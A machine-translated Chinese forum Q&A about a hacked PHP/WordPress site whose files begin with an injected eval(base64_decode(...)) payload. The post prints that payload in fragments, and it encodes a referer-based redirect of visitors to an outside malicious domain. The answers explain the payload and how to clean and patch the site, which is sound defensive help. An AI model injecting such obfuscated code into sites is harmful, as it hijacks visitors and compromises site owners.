恶意代码：eval（base64_decode（[关闭]

Question

最近，我注意到一个jquery mobile-创建的php网站未加载。 当我检查了相关的php文件时，我可以看到代码中包含了一些额外的字符。 标记<?php之后不久，出现了无关的字符。 是什么原因呢？ 我的网站被黑了吗？ 如何恢复我的所有文件？ 这些文件是通过控制面板登录来访问的。我什至可以看到网站文件夹之外的文件，一些wp文件（wp-config.php，wp-blog-header.php等）也包含这些额外的字符。

这是发现的恶意代码- <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVI

有人在那里，请指教。

这是完整的代码

的eval（BASE64_DECODE（ “/ KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw / c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcGtqbGFwb2suMWR1bWIuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0 =”））;

Answer 1

要回答直接问题：是的，您的网站已被黑客入侵。

eval(base64_decode(....))旨在掩盖正在执行的代码的性质，但不能掩盖PHP文件中存在不属于该代码的事实。

至于被入侵的代码的功能，我无法回答，因为您还没有提供全部。

我也不能回答有关它们可能如何进入的任何问题，但是可能是您的系统中（或您的Web托管公司的系统中）某处存在一个具有已知安全漏洞的软件包。

在大多数情况下，该缺陷将由该软件的提供者修复，但是被黑客入侵的网站上的版本不会使用最新的修复程序进行更新，从而使黑客有机会上手。

还有其他闯入站点的方法，但这是最有可能的。

我无法告诉您使用了哪种软件来入侵您的网站； 涉及的变量太多，我对此还不够了解。 我可以建议您确保负责的所有软件都是安全的并且正在运行最新版本，并与托管公司联系以确保它们也都是最新的。

您没有按名称提及Wordpress，但您指定的文件听起来像属于Wordpress。 因此，恢复文件仅是将其更新回原始Wordpress版本的一种情况。 但是，正如我所说，您应该确保已更新到最新的WP版本，因为听起来您拥有的版本已过时且容易受到攻击。

您页面中的实际数据可能已经遭到破坏，但是所描述的黑客攻击的性质听起来更像是PHP注入黑客攻击，因此我希望，如果将WP文件恢复为原始状态，您的页面将被还原。 但是，您应该进行彻底检查，以确保其中没有任何意外的隐患。

[编辑]现在我们有了完整的代码，可以很容易地看到它在做什么：将代码复制到一个小的PHP程序中，然后将eval替换为print ，这样您就可以看到它正在运行，而不是实际运行。 答案是，它会检查用户是否不是googlebot或类似人，如果不是，则将页面重定向到恶意URL。

Answer 2

这是旧版本的WordPress和其他旧CMS上的常见问题，尤其是那些使用timthumb的旧版timthumb动态处理图像的版本。

有人将该代码注入到了您大多数.PHP文件的顶部（至少那些以<?php空行打开的文件）的顶部。 几个月前，这件事发生在我身上。

eval（）代码基本上是“加密”恶意PHP代码，并在打开PHP文件时运行（ eval ）它。 在看不到完整的base64字符串（并对其进行解码）的情况下，无法确定代码的作用，但是如果发生像我一样的注入，则会在您的网站上附加一些JavaScript代码以将访问者重定向到恶意页面，否则更改您网站内的链接行为。

您需要找到导致这种情况的孔，然后将其关闭。 如果它是WordPress的过时版本，请升级。 检查您的访问日志中是否存在可疑的POST查询。

我知道解决此问题的唯一方法是，从盒子上的每个PHP文件中删除PHP代码。 如果每个文件中的代码都相同，则可以使用Linux bash命令和高级文本编辑器从多个文件中删除代码。 如果没有，请抓住文件，记事本和一大堆咖啡:)